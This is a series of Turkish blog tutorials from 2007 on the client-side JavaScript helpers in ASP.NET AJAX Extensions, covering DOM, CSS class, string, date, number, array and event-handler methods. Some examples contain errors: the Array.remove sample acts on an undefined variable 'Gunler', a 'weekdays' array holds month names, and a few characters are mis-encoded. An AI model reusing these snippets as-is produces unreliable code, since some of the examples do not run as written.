Handler'ları kontrollerimize ekledikten sonra bazı durumlarda çıkarmak da isteyebiliriz. Örneğin bir düğmeye bir defa basılacak ise handler'ını kaldırarak bir daha basılmasını engelleyebiliriz. Bu durumda kullanacağımız metodun adı $removeHandler şeklinde. Metodumuzun kullanım şekli aşağıdaki gibi;

$removeHandler($get("Button1"), "mouseover", Tikla);

$removeHandler metodu bizden toplamda üç parametre alıyor. Bu parametrelerden ilki handler'ı kaldıracağımız HTML elementinin kendisi. İkinci parametre ise handlerın adı. Biz kodumuzda söz konusu HTML elementinden mouseover handler'ını kaldırıyoruz. Son parametre olarak da handler olan JavaScript fonksiyonunun adını veriyoruz.

$clearHandlers

Peki HTML elementimizden tüm handler'ları kaldırmak istiyorsak ne yapabiliriz? İşte bu noktada $clearHandlers metodunu kullanabiliriz. Söz konusu metod parametre olarak sadece hedef HTML kontrolünü alıyor. Sonrasında HTML elementine ait tüm handler'lar temizleniyor.

    $clearHandlers($get("Button1"));

Yukarıdaki kodumuz kendisine aktarılan Button1 elementinden tüm handler'ları siliyor.

Sonuç

ASP.NET AJAX Extension ile beraber gelen JavaScript özelliklerini incelediğimiz bu yazı serimiz boyunca ilk olarak sınıf, üye ve kütüphane yapılarını inceledik, enumaration yapısını kullandık. Sonrasında JavaScript dizileri üzerinde çalışırken bize kolaylık sağlayabilecek yeniliklerden bahsettik. Metin, tarih ve sayısal değişkenlerle ilgili yeni JavaScript fonksiyonlarını da inceledikten sonra DOM üzerinde HTML elementlerine ulaşabilmemizi ve görsel özelliklerini değiştirebilmemizi sağlayacak JavaScript yenilikleri ile ilgili örnekler yaptık. Son olarak bu yazımızda da handler işlemlerinden bahsettik.

Tüm bu yeni JavaScript olanakları ile istemci taraflı programlama yapmanın kolaylaştığından bahsetmek hiç de yanlış olmaz. AJAX Extension ile gelen bu yeniliklerle hepinize yeni projelerde başarılar dilerim ;)

Hepinize kolay gelsin.

Tuesday, September 11, 2007 1:04:02 PM (GTB Standard Time, UTC+02:00)  #    Comments [1]   AJAX  | 
 Monday, September 10, 2007

Bir önceki yazımızda ASP.NET AJAX Extension ile beraber gelen istemci tarafındaki sayısal, metin ve tarih değişkenleri ile ilgili fonksiyonları inceledikten sonra sıra DOM objeleri ile ilgili metodlara geldi. İstemci tarafında JavaScript kodu kullanırken sıklıkla yaptığımız işlemler arasında sayfanın görsel özellikleri üzerinde oynamak geliyor. Bazen tüm sayfanın bazen de sayfadaki belirli elementlerin farklı özelliklerini JavaScript ile değiştirmemiz gerekebiliyor. Bu durumda artık eski stil JavaScript komutları ile boğuşmaktansa ASP.NET AJAX Extension ile beraber gelen yeni komutları kullanabiliriz. Yazı boyunca olabildiğince yeni özellikleri eski muadilleri ile karşılaştırarak ilerliyor olacağız.

$get Metodu

Sayfa içerisindeki HTML elementleri üzerinde JavaScript ile değişiklik yapabilmek için söz konusu elementleri sayfada bulmuş veya bir anlamda yakalamış olmamız gerekir. Elimizde olmayan bir obje üzerinde değişiklik yapmamız da mümkün olmayacaktır. Gelin ilk olarak eskiden bu işi nasıl yapıyorduk ona bir bakalım.

document.getElementById("Label1").innerHTML= "Birinci Metin geldi.";

Yukarıdaki kodu kullanarak sayfa içerisinde yer alan Label1 adındaki nesneyi yakalayarak JavaScript ile içeriğini değiştirebiliyoruz. Tabi bu kodu kullanmak için sayfamızda ScriptManager yer alması gerekmiyor. Peki projemiz hali hazırda bir ASP.NET AJAX projesi ise ve sayfamızda bir ScriptManager var ise ne kullanabiliriz?

    Sys.UI.DomElement.getElementById("Label1").innerHTML= "Metin geldi.";

ASP.NET AJAX Extension ile beraber gelen yapı yukarıdaki gibi. "Bunun neresi daha kolay?" deyişinizi duyar gibiyim. Kesinlikle haklısınız hiç de kolay değil, hatta bariz bir şekilde daha uzun bir kod söz konusu. Ama Microsoft tarafındaki geliştiriciler de zaten durumun farkında bu nedenle bu JavaScript sınıfları için birer kısayol komutu da tanımlamışlar.

    $get("Label1").innerHTML= "Metin geldi.";

Ne kadar kolay değil mi? Gerçekten de öyle. Sadece $get metodunu kullanarak yakalamak istediğimiz elementin ID bilgisini vermemiz yeterli. Elementi yakaladıktan sonra üzerinde her tür işlem yapabilirsiniz.

addCssClass Metodu

Sayfamız içerisindeki HTML elementlerini yakaladıktan sonra sıra geldi elementlerin görsel özelliklerini değiştirmeye. Bunun için ilk aşamada farklı görsel özellikleri tanımlayan birer CSS sınfı hazırlayalım.

       <style type="text/css">
.baslik1 {
       font-family: Arial, Helvetica, sans-serif;
       font-size: large;
       font-weight: bold;
       text-transform: uppercase;
       color: #FF0000;
}
.baslik2 {
       font-family: Arial, Helvetica, sans-serif;
       font-size: medium;
       font-weight: bold;
       font-variant: small-caps;
       color: #C0C0C0;
}
</style>

CSS sınıflarımızı yukarıdaki gibi tanımladıktan sonra bu CSS sınıflarını JavaScript ile yakaladığımız elementlere yine JavaScript ile ekleyeceğiz. Kodumuz aşağıdaki gibi olacak.

    Sys.UI.DomElement.addCssClass($get("Label1"), "baslik2");

Maalesef addCssClass metodu için bir kısayol metodu bulunmuyor, bu nedenle tam yolunu yazmamız şart. Örneğimizde de gördüğünüz üzere $get metodu ile sayfadaki Label1 nesnesini yakaladıktan sonra addCssClass metoduna birinci parametre olarak veriyoruz. Böylece addCssClass kendisine ikinci parametre olarak verdiğimiz isimdeki CSS sınıfını hangi HTML elementine ekleyeceğini de algılayabiliyor. Dikkatinizi çektiyse yukarıda iki adet CSS sınıfı tanımladık. Bir objenin CSS sınıfını değiştirmek isterseniz, yani söz konusu HTML elementinin CSS özelliğine addCssClass ile baslik1'i ekledikten sonra baslik2 CSS sınıfını eklemek isterseniz maalesef görsel olarak birşey değişmeyecektir. Bunun nedeni bir HTML elementine sadece bir CSS sınıfı ekleyebileceğinizdendir. Peki ne yapacağız? Tabi ki eklediğimiz CSS sınıfını önce çıkaracağız sonra da diğerini ekleyeceğiz. HTML elementlerinden CSS sınıfı çıkarmak için kullanacağımız metodu bir sonraki bölümde inceleyeceğiz.

removeCssClass Metodu

Bir önceki bölümde HTML elementlerine CSS sınıfları ekledik. Şimdi sıra geldi çıkarmaya. CSS sınıfını söz konusu elementten çıkartırsak başka bir CSS sınıfı ekleyebileceğiz.

    Sys.UI.DomElement.removeCssClass($get("Label1"), "baslik2");

Yukarıdaki kodumuz ile removeCssClass metoduna verdiğimiz ilk parametredeki HTML elementinden ikinci parametrede verdiğimiz CSS sınıfı çıkartılıyor. Böylece bir sonraki aşamada addCssClass metodu ile başka bir CSS sınıfını elementimize ekleyebiliriz.

containsCssClass Metodu

HTML elementlerine bir CSS sınıfını ekleyip eklemediğinizi kontrol etmeniz gerektiğinde containsCssClass metodunu kullanabilirsiniz.

<script language="javascript" type="text/javascript">
function Resim()
{
    if (Sys.UI.DomElement.containsCssClass($get("Image1"), "gizle"))
    {
        Sys.UI.DomElement.removeCssClass($get("Image1"), "gizle");
        Sys.UI.DomElement.addCssClass($get("Image1"), "goster");
    }
    else
    {
        Sys.UI.DomElement.removeCssClass($get("Image1"), "goster");
        Sys.UI.DomElement.addCssClass($get("Image1"), "gizle");
    };
}
</script>

Yukarıdaki Resim JavaScript fonksiyonumuz sayfada bulunan Image1 adında bir nesneyi bularak eğer CSS sınıfı gizle şeklinde verilmiş ise goster yapıyor, aksi halde ise gizle yapıyor. gizle ve goster CSS sınıflarını aşağıda inceleyebilirsiniz.

       <style type="text/css">
        .gizle {
               display: none;
        }
        .goster {
               display: block;
        }
    </style>

Söz konusu CSS sınıflarımız HTML elementi üzerinde değiştirildiğinde elementimiz sayfada bir görünmez olacak bir görünür olacak.

toggleCssClass Metodu

Geldik CSS sınıfları ile ilgili benim en sevdiğim fonksiyona. Tüm yukarıda öğrendiklerimizin ötesinde eğer bir HTML elementinin CSS sınıfını değiştirmek istiyorsanız kısa yoldan toggleCssClass metodunu da kullanabilirsiniz. Metodumuz hedef HTML elementinin CSS sınıfını verdiğimiz başka bir sınıf ile değiştiriyor. Gelin bir önceki bölümümüzde JavaScript kodumuzu toggleCssClass metodunu kullanarak baştan yazalım.

<script language="javascript" type="text/javascript">
function Resim()
{
    if (Sys.UI.DomElement.containsCssClass($get("Image1"), "gizle"))
    {
        Sys.UI.DomElement.toggleCssClass($get("Image1"), "goster");
    }
    else
    {
        Sys.UI.DomElement.toggleCssClass($get("Image1"), "gizle");
    };
}
</script>

Gördüğünüz gibi kodumuz çok daha kısa ve sade oldu. toggleCssClass metodunun kullanımı da aynı addCssClass metodu gibi. CSS sınıfını değiştireceğimiz HTML elementi ile birlikte atanacak CSS sınıfının adını sırası mile parametre olarak vermemiz yeterli.

İstemci taraflı ASP.NET AJAX Extension JavaScript yeniliklerini incelediğimiz serimizin bu yazısında DOM üzerinde işlem yapmayı ve görsel özelliklerle ilgili atamalar yapmayı inceledik. Bir sonraki yazımızda JavaScript handler işlemlerine değineceğiz.

Hepinize kolay gelsin.

Monday, September 10, 2007 9:39:06 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX  | 
 Sunday, September 09, 2007

ASP.NET AJAX Extension ile gelen JavaScript özelliklerini incelediğimiz serimize devam ediyoruz. Bu sefer inceleyeceklerimiz arasında farklı değişken tiplerine özel olarak gelen ve bizim aslında çoğuna .NET tarafında alışkın olduğumuz metodlar var.

String.endsWith ve String.startsWith

Herhangi bir JavaScript değişkenine eğer metin tipinde bir değer aktarılmış ise başlangıç veya son kısmında belirli bir metnin bulunup bulunmadığını kontrol etmek için String.endsWith ve Strings.startsWith metodlarını kullanabilirsiniz. Bu metodlar daha önceki yazılarımızda bahsettiğimiz metodlardan farklı olarak direk değişkenlerin tanımına ekleniyor. Sanırım ufak bir uygulama ile konuyu hızlıca netleştirebiliriz.

<%@ Page Language="VB" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>Untitled Page</title>
    <script language="javascript" type="text/javascript">
    function Yarat()
    {
        var Metin = "Daron Yöndem";
        alert(Metin.startsWith("Daron"));
        // Sonuc = True
        alert(Metin.endsWith("m"));
        // Sonuc = True
    }
    </script>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <asp:ScriptManager ID="ScriptManager1" runat="server">
        </asp:ScriptManager>
    </div>
        <input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
    </form>
</body>
</html>

Kodumuz içerisinde Button1 düğmesine tıklandığında çalıştırılan Yarat JavaScript fonksiyonu bir metin değişkeni yarattıktan sonra direk değişken üzerinden Metin.startsWith şeklinde bir kullanım ile değişkenin belirli bir metin ile başlayıp başlamadığını veya sonlanıp sonlanmadığını kontrol ediyor. Metodları direk değişken üzerinden kullandığımız için metodlara verdiğimiz tek parametre aratmak istediğimiz metnin kendisi. Sonuç olarak her iki metod da True veya False şeklinde birer Boolean değer döndürüyorlar.

String.trim, String.trimEnd ve String.trimStart

Trim fonksiyonu .NET tarafında sıkça kullandığımız tanıdık fonksiyonlardan biri. Artık bu fonksiyonu JavaScript tarafında da rahatlıkla kullanabiliyoruz. Trim fonksiyonuna ek olarak trimEnd ve trimStart adında metin değişkenlerinin başındaki veya sonundaki boşlukları silen fonksiyonlar da mevcut. Standard Trim fonksiyonumuz .NET'te olduğu gibi metnin hem başındaki hem de sonunda boşlukları siliyor.

<%@ Page Language="VB" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>Untitled Page</title>
    <script language="javascript" type="text/javascript">
    function Yarat()
    {
        var Metin = "    Yondem    ";
        alert("x" + Metin.trim() + "x");
        // Sonuc = "xYondemx"
        alert("x" + Metin.trimEnd() + "x");
        // Sonuc = "x    Yondemx"
        alert("x" + Metin.trimStart() + "x");
        // Sonuc = "xYondem    x"
        alert(Metin.toLowerCase());
    }
    </script>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <asp:ScriptManager ID="ScriptManager1" runat="server">
        </asp:ScriptManager>
    </div>
        <input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
    </form>
</body>
</html>

Tüm örneklerimizdeki ile aynı yapıyı kullanarak yine sayfada bulunan bir düğmeye tıklayarak Yarat JavaScript fonksiyonunu çalıştırıyor olacağız. Fonksiyonumuz kendi tanımladığı bir metin değişkenine hem başında hem de sonunda bolca boşluk olan bit metin aktararak sırasıyla hem başında hem sonunda boşlukları silerek tüm Trim metodlarını deniyor ve sonuçları kullanıcıya gösteriyor. Özellikle sonucu kullanıcıya gösterirken boşluklar daha net gözüksün diye metinlerine başında ve sonunda ekstra olarak birer x harfi koydum. Oluşan sonuçları ayrıca kod içerisindeki yorum satırlarında da görebilirsiniz.

String.format

String.format metodu özellikle bir metnin içerisinde başka metinler yerleştirmek için sıkça kullandığımız metodlardan biri. Sunucu tarafındaki kullanımı ile aynı şekilde artık istemci tarafında da bu metodu kullanma şansımız var.

<%@ Page Language="VB" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>Untitled Page</title>
    <script language="javascript" type="text/javascript">
    function Yarat()
    {
        var ay = "Ocak";
        var gun = "Pazartesi";
        var Metin = String.format("Bugün aylardan {0} ve günlerden {1}", ay, gun);
        alert(Metin);
        // Sonuc = Bugün aylardan Ocak ve günlerden Pazartesi
    }
    </script>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <asp:ScriptManager ID="ScriptManager1" runat="server">
        </asp:ScriptManager>
    </div>
        <input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
    </form>
</body>
</html>

Sayfadaki düğmeye basıldığında çalışacak olan Yarat fonksiyonumuz kendi içerisinde tanımlanan ay ve gun değişkenleri içerisindeki metinleri String.format ile başka bir metnin içerisine yerleştirecek ve sonrasında da Metin değişkenine aktaracak. String.format metoduna verdiğimiz metin içerisinde süslü tırnak işaretleri arasında indeks numaraları yer alıyor. Sıfırdan başlayarak devam eden bu numaralar ile aynı sırada bu numaraların metin içerisindeki yerlerine yerleşecek olan değerleri taşıyan değişkenleri de parametre olarak String.format metoduna vermemiz gerekiyor.

String.toLowerCase ve String.toUpperCase

Herhangi bir metni istemci tarafında büyük harften küçüğe veya küçük harften büyük harfe çevirmek için kullanabileceğimiz CSS özelliklerinin yanı sıra JavaScript tarafında da kullanabileceğimiz alternatiflerimiz mevcut. String.toLowerCase metodu direk değişkenlerin isimleri ile beraber kullanılarak geriye küçük harflerden oluşan bir metin döndürüyor. Aynı şekilde .toUpperCase metodu da geriye büyük harflerden oluşan metinler döndürebiliyor. Örneğimizle devam edelim.

<%@ Page Language="VB" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>Untitled Page</title>
    <script language="javascript" type="text/javascript">
    function Yarat()
    {
        var buyuk = "BUYUK HARFLERDI BUNLAR";
        var kucuk = "kucuk harflerdi bunlar";
        alert(buyuk.toLowerCase());
        //SONUC = "buyuk harflerdi bunlar"
        alert(kucuk.toUpperCase());
        //SONUC = "KUCUK HARFLERDI BUNLAR"
    }
    </script>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <asp:ScriptManager ID="ScriptManager1" runat="server">
        </asp:ScriptManager>
    </div>
        <input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
    </form>
</body>
</html>

Örneğimizde iki farklı değişken yaratarak içlerine tamamen büyük harflerden veya tamamen küçük harflerden oluşan metinler aktarıyoruz. Sonrasında bu değişkenlerşn .toLowerCase veya .toUpperCase metodlarını kullanarak harflerin durumunu değiştirerek kullanıcıya gösteriyoruz. Alacağınız sonuçları kod içerisinde yorum satırlarında inceleyebilirsiniz.

String.indexOf

Metin değişkenleri içerisinde belirli bir yazının tam olarak metnin neresinde olduğunu öğrenmek istediğimizde sunucu tarafından alışık olduğumuz .indexOf metodu artık istemci tarafında da yardımımıza koşuyor. .indexOf metoduna parametre olarak aratmak istediğimiz metni veriyoruz ve arattığımız metnin hedef metin içerisinde bulunduğu yerdeki ilk karakterin indeks numarasını alabiliyoruz.

<%@ Page Language="VB" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>Untitled Page</title>
    <script language="javascript" type="text/javascript">
    function Yarat()
    {
        var buyuk = "Ahmet ile Mehmet gezmeye gittiler.";
        alert(buyuk.indexOf("Mehmet"));
        //SONUC = 10
    }
    </script>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <asp:ScriptManager ID="ScriptManager1" runat="server">
        </asp:ScriptManager>
    </div>
        <input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
    </form>
</body>
</html> 

Kodumuz içerisindeki buyuk adındaki metin değişkeninde kısmen uzun bir metin yer alıyor. Bu metin içerisinde bir kelimeyi aratarak kelimenin başladığı harfin hedef metin içerisinde kaçıncı harften başladığını bulabiliyoruz. Yukarıdaki örnek içerisinde .indexOf metodu geriye 10 değerini döndürerek aradığımız metnin hedef metin içerisinde onuncü karakterden başlayarak yer aldığını belirtiyor.

Date.format

Sadece metin değişkenleri için değil, tarih değişkenleri için de güzel yenilikler söz konusu. Örneğimizde bir metin değişkeni yaratarak .toString metodu ile değerini kullanıcıya göstereceğiz. Sonra da söz konusu metin değişkenine bir format uygulayarak tekrar kullanıcıya göstereceğiz. Aradaki farkı hep beraber görelim.

<%@ Page Language="VB" %>
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>Untitled Page</title>
    <script language="javascript" type="text/javascript">
    function Goster()
    {
        var tarih = new Date();
        alert(tarih.toString() + "<br>");
        //SONUC = Fri Jan 16 16:50:31 UTC+0200 2007
        tarih = tarih.format("d");
        alert(tarih.toString() + "<br>");
        //SONUC = 01/16/2007
    }
    </script>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <asp:ScriptManager ID="ScriptManager1" runat="server">
        </asp:ScriptManager>
    </div>
        <input id="Button1" type="button" value="Tıkla" onclick="Goster();" />
    </form>
</body>
</html>

.format metodunu da önceki metodlar gibi direk değişkenler üzerinden kullanabiliyoruz. Sunucu taraflı .NET programlamadan alışık olduğumuz format değerlerini vererek aynı sunucu tarafında olduğu gibi istemci tarafında da tarihlerin gösterilme biçimlerini değiştirebiliyoruz.

Number.format

Bu yazımızda son olarak sayıları istemci tarafında biçimlendirmek için kullanabileceğimiz Number.format metoduna değineceğiz. Yazımızın konusu haricinde olduğu için biçimlendirme metinleri ile ilgili detaylara girmeyeceğim. Hızlı bir örnek ile JavaScript tarafında herhangi bir sayıyı para değeri gibi göstermeyi deneyeceğiz. Gösterdiğimiz sayının bin ayracı ve iki ondalık basamağı olacak.

<%@ Page Language="VB" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>Untitled Page</title>
    <script language="javascript" type="text/javascript">
    function Yarat()
    {
        var sayi = 4390;
        alert(sayi.toString());
        //SONUC = 4390
        sayi = sayi.format("c");
        alert(sayi.toString());
        //SONUC = 4,390.00
    }
    </script>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <asp:ScriptManager ID="ScriptManager1" runat="server">
        </asp:ScriptManager>
    </div>
        <input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
    </form>
</body>
</html>

JavaScript ile yarattığımız sayısal bir değişkenin formatını .format metodu ile parasal değere (currency) çevirerek kullanıcıya gösterdiğimizde sayının binler ayracı ve iki ondalık basamağı olduğunu görüyoruz.

Serimizin bu yazısında da metin, sayısal ve tarih değişkenlerine eklenen JavaScript fonksiyonları göz attık. Bir sonraki yazıda JavaScript ile DOM üzerinde yapabileceğimiz işlemlerle ilgili gelen yeniliklerden bahsedeceğiz.

Hepinize kolay gelsin.

Sunday, September 09, 2007 8:54:01 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX  | 
 Saturday, September 08, 2007

Bir önceki yazımda ASP.NET AJAX Extension'a ait istemci taraflı JavaScript özelliklerini incelerken sınıf yapılarına, kütüphanelere, üyelere ve sıralara yani enumaration yapısa örnekler ile göz atmıştık. Sıra geldi JavaScript dizileri ile çalışırken hayatımızı gerçekten kolaylaştıran yepyeni AJAX Extension JavaScript komutlarına.

Array.add

Herhangi bir JavaScript dizisini tanımlarken dizinin uzunluğunu belirterek değerler atamak yerine yepyeni Array.add metodumuzu kullanabilirsiniz. .add metodu toplamda iki parametre alıyor, bunlardan ilki ekleme işleminin yapılacak dizi değişkenin adı, diğeri de tabi ki eklenecek olan değerin ta kendisi.

<%@ Page Language="VB" %>
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>Untitled Page</title>
    <script language="javascript" type="text/javascript">
    function Goster()
    {
        var Adamlar = ['Ahmet', 'Mehmet', 'Faruk', 'Sedat'];
        Array.add(Adamlar, 'Daron');
        alert(Adamlar.toString());
    }
    </script>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <asp:ScriptManager ID="ScriptManager1" runat="server">
        </asp:ScriptManager>
    </div>
        <input id="Button1" type="button" value="button" onclick="Goster();" />
    </form>
</body>
</html>

Kodumuz içerisinde farklı insanların isimlerinin bir listesini taşıyan Adamlar adında bir değişken tanımladıktan sonra Array.add metodu ile yeni bir değeri dizi içerisine ekliyoruz. Son olarak yine JavaScript tarafında ASP.NET AJAX Extension sayesinde kullanabildiğimiz .toString metodu ile diziyi bir metne çevirerek kullanıcıya bir mesaj kutusu içerisinde gösteriyoruz.

Array.addRange

Birden çok diziyi birbiri ile birleştirmek JavaScript tarafında zahmetli bir iş olabilir. Eğer sayfada bir ScriptManager var ise işimiz çok daha kolay. Array.addRange metodu ile herhangi bir diziye bir başka diziti ekleyebiliyoruz. Metod toplamda iki parametre alıyor. Aldığını ikinci parametredeki diziyi birinci parametredeki dizinin sonuna ekliyor.

<%@ Page Language="VB" %>
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>Untitled Page</title>
    <script language="javascript" type="text/javascript">
    function Yarat()
    {
        var Kayitlar = ["Elma", "Armut", "Ananas"];
        var YeniKayitlar = ["Muz", "Havuç"];
        Array.addRange(Kayitlar, YeniKayitlar);
        alert(Kayitlar.toString());
    }
    </script>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <asp:ScriptManager ID="ScriptManager1" runat="server">
        </asp:ScriptManager>
    </div>
        <input id="Button1" type="button" value="Týkla" onclick="Yarat();" />
    </form>
</body>
</html>

Kayitlar ve YeniKayitlar adlarında yarattığımız dizilerden YeniKayitlar dizisini Kayitlar dizisine Array.addRange metodu ile ekliyoruz. Son olarak da tüm kayıtları içeren Kayitlar dizisini kullanıcıya gösteriyoruz.

Array.contains

Bir dizi içerisinde belirli bir kaydın veya değerin var olup olmadığını bulmak için kullanabileceğimiz belki de en pratik yöntem Array.contains metodu. Metod iki adet parametre alıyor, bunlardan ilki içerisinde arama yapılacak dizinin kendisi, ikincisi de aranak olarak değişken veya değer. Hızlı bir örnek ile nasıl çalıştığına göz atalım.

<%@ Page Language="VB" %>
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>Untitled Page</title>
    <script language="javascript" type="text/javascript">
    function Yarat()
    {
        var Aylar = ["Ocak", "Şubat", "Mart"];
        var Sonuc = Array.contains(Aylar, "Mart");
        alert(Sonuc.toString());
    }
    </script>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <asp:ScriptManager ID="ScriptManager1" runat="server">
        </asp:ScriptManager>
    </div>
        <input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
    </form>
</body>
</html>

Aylar adında bir dizi içerisinde yılın ilk üç ayını yerleştirdikten sonra dizi içerisinde Mart ayının olup olmadığını kontrol ederek sonucu kullanıcıya gösteriyoruz. Array.contains metodu JavaScript tarafında geriye Boolean tipinde True veya False değerleri döndürür.

Array.indexOf

.NET Tarafından alışık olduğumuz indexOf metodunu artık JavaScript tarafında da kullanabiliyoruz. Herhangi bir dizi içerisinde arattığımız objenin varsa kaçıncı index numarasında yer aldığını döndüren bu metod ile ilgili de hemen bir örnek yapalım.

<%@ Page Language="VB" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>Untitled Page</title>
    <script language="javascript" type="text/javascript">
    function Yarat()
    {
        var HaftaIci = ["Ocak", "Şubat", "Mart", "Perþembe", "Cuma"];
        var Kacinci = Array.indexOf(HaftaIci, "Mart");
        alert(Kacinci); // Sonuç = 2
        Kacinci = Array.indexOf(HaftaIci, "Ocak", 1);
        alert(Kacinci); // Sonuç = -1
    }
    </script>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <asp:ScriptManager ID="ScriptManager1" runat="server">
        </asp:ScriptManager>
    </div>
        <input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
    </form>
</body>
</html>

Kodumuz içerisinde Array.indexOf ile ilgili iki farklı kullanım şeklini inceleyebilirsiniz. İlk kullanımızda Array.indexOf metoduna toplam iki parametre verdik. Bunlar ilki içerisinde arama yapılacak dizinin kendisi, ikincisi de aranacak objeydi. İkinci kullanım şeklimizde ise bir üçüncü parametre daha veriyoruz. Bu üçüncü parametre opsyonel bir parametre olmakla birlikten dizi içerisindeki arama işleminin kaçıncı indeks numarasından başlayacağını belirtmemizi sağlıyor. Bu nedenle ikinci kullanımda aslında Ocak ayı dizi içerisinde bulunsa da biz 1 indeks numaralı yani ikinci kayıttan aramaya başladığımız için geriye olumsuz sonuç dönüyor.

Array.insert

JavaScript ile diziler üzerinde çalışırken belki de en ciddi sorunlardan biri dizilerin herhangi bir yerine, ortasına vs yeni bir değer veya değişken eklemeye çalışmaktır. Eski yöntemlere hiç bulaşmadan Array.insert metodu ile bu işlemin ne kadar da kolaylaştığını sizinle paylaşmak istiyorum.

<%@ Page Language="VB" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>Untitled Page</title>
    <script language="javascript" type="text/javascript">
    function Yarat()
    {
        var Aylar = ["Ocak", "Subat", "Nisan"];
        Array.insert(Aylar, 2, 'Mart');
        alert(Aylar.toString());
        // Sonuç = Ocak, Subat, Mart, Nisan
    }
    </script>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <asp:ScriptManager ID="ScriptManager1" runat="server">
        </asp:ScriptManager>
    </div>
        <input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
    </form>
</body>
</html>

Yine ayların adlarından oluşan bir liste üzerinde çalışalım. Dizimiz içerisinde Mart ayı eksik olduğu için diziyi tanımladıktan sonra araya eklememiz gerekiyor. Array.insert metoduna verdiğimiz üç parametre ile bu işlemi kolayca halledebiliyoruz. Parametrelerimizden ilki ekleme işlemini yapacağımız dizinin kendisi, ikincisi eklenecek öğenin kaçıncı sıraya yapılacağına dair indeks numarası ve üçüncüsü de eklenecek olan öğenin ta kendisi.

Array.remove

Bir dizi içerisinde belirli bir değeri silmek ve diziden çıkarmak için Array.remove metodunu kullanabiliyoruz. Metoda toplamda iki adet parametre veriyoruz. Bunlardan ilki değeri çıkartacağımız JavaScript dizisi, diğeri de çıkartmak istediğimiz değer. Gelin örneğimizde kullanım şekillerine bakalım.

<%@ Page Language="VB" %>
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>Untitled Page</title>
    <script language="javascript" type="text/javascript">
    function Yarat()
    {
        var Arabalar = ['FIAT', 'FORD', 'BMW', 'MERCEDES'];
        Array.remove(Gunler, "FORD");
        alert(Gunler.toString());
        // Sonuç = FIAT, BMW, MERCEDES
        Array.removeAt(Gunler, 2);
        alert(Gunler.toString());
        // Sonuç = FIAT, BMW
    }
    </script>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <asp:ScriptManager ID="ScriptManager1" runat="server">
        </asp:ScriptManager>
    </div>
        <input id="Button1" type="button" value="Týkla" onclick="Yarat();" />
    </form>
</body>
</html>

